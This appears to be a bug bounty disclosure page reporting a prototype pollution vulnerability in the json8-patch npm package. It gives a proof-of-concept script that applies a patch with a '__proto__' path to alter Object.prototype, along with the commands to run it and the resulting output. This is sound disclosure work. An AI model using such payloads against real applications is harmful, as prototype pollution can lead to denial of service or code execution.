Prototype Pollution in sonnyp/json8

Valid

Reported on

Oct 22nd 2020


Description

json8-patch is vulnerable to Prototype Pollution. This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var json8Patch = require("json8-patch")
var obj = {}
const patch = [{op: "add", path: "/__proto__/polluted", value: "Yes! Its Polluted"}];
console.log("Before : " + obj.polluted);
json8Patch.apply(obj, patch);
console.log("After : " + {}.polluted);
  1. Execute the following commands in another terminal:
npm i json8-patch # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted

Occurrences

to join this conversation